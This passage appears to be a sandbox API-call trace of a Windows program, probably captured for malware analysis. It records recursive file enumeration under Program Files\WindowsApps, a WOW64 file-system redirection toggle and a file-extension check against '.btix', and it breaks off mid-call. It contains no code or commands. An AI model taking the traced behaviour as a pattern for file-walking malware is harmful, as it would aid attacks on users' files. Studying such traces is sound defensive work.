FindClose (in: hFindFile=0x42800c0 | out: hFindFile=0x42800c0) returned 1 [0062.731] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.731] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.731] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.731] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.731] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.731] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.731] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42a3ed0 [0062.731] lstrlenW (lpString="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Sounds") returned 94 [0062.731] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\*", lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0x4280640 [0062.731] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0062.732] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0062.732] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0062.732] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0062.732] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.732] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.732] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.732] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.732] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.732] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.732] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.732] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.732] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.732] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.732] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.732] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.733] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.733] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.733] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.733] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.733] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.733] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.733] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.733] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.733] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.733] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.733] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.733] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.733] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.733] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.733] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.733] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.734] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.734] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.734] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.734] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.734] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.734] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.734] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0062.734] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0062.734] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.734] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.734] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.734] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.734] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.734] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.734] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.734] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.735] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.735] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.735] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.735] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.735] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.735] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.735] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.735] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.735] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.735] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.735] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.735] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.735] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4353f20 [0062.735] lstrlenW (lpString="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned 114 [0062.735] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0x4280580 [0062.736] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.736] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.751] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.751] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4353f20 [0062.751] lstrlenW (lpString="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned 84 [0062.751] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\*", lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0x4280580 [0062.753] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.753] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.753] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0062.766] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.777] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.777] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0062.783] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.784] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.785] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0062.785] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.785] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.785] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.787] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.787] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.787] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0062.787] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.789] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.789] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.789] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.789] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.794] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.796] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.797] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.798] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.800] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.800] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.801] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.802] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.802] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.803] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.803] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0062.812] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.813] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.813] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0062.820] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.820] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.824] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.824] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0062.829] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.831] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.831] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0062.857] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.868] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.868] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.921] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.922] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.924] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.924] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.928] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0062.928] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.936] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.936] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.937] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.937] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.937] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.948] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.949] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.956] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.958] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.959] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.967] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.967] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.967] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.967] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.976] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.976] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.979] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0062.986] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0062.986] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.986] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0063.195] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0063.196] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0063.196] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0063.307] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0063.550] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0063.966] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0063.974] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0063.982] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0064.609] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0065.617] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0065.705] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0066.345] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0066.345] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0068.354] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0069.058] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0069.464] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0070.066] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0070.073] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0070.129] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0070.129] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0070.218] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0070.422] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0070.487] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0070.488] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0070.488] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0070.490] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0070.613] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0070.706] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0070.744] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0070.744] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0070.744] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0070.744] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0070.826] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0070.833] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0070.833] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0070.833] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0070.839] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0070.839] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0070.839] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0070.840] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0070.842] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0070.843] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0071.009] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0071.273] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0071.300] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0071.311] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0071.331] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0071.331] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0071.357] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0071.357] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0071.367] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0071.373] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0071.382] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0071.384] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0071.388] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0071.388] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0071.388] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0071.388] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0071.404] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0071.439] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0071.439] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0071.440] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 Thread: id = 17 os_tid = 0xac4 [0040.834] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10000) returned 0x3c61228 [0040.835] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10000) returned 0x3c71230 [0040.835] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecab8 [0040.835] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x6) returned 0x71cfe0 [0040.835] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecbf0 [0040.835] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x100000) returned 0x3e36020 [0040.837] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecad0 [0040.837] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ecad0, Size=0x20) returned 0x6ce7c8 [0040.837] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecc08 [0040.837] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ecc08, Size=0x20) returned 0x6ce7f0 [0040.838] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0040.838] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0040.838] Wow64DisableWow64FsRedirection (in: OldValue=0x33eff50 | out: OldValue=0x33eff50*=0x0) returned 1 [0040.838] lstrlenW (lpString="kernel32.dll") returned 12 [0040.838] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce7c8 | out: hHeap=0x690000) returned 1 [0040.838] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0040.838] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce7f0 | out: hHeap=0x690000) returned 1 [0040.838] Sleep (dwMilliseconds=0x64) [0041.197] lstrcmpiW (lpString1=".log", lpString2=".btix") returned 1 [0041.197] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0041.197] CreateFileW 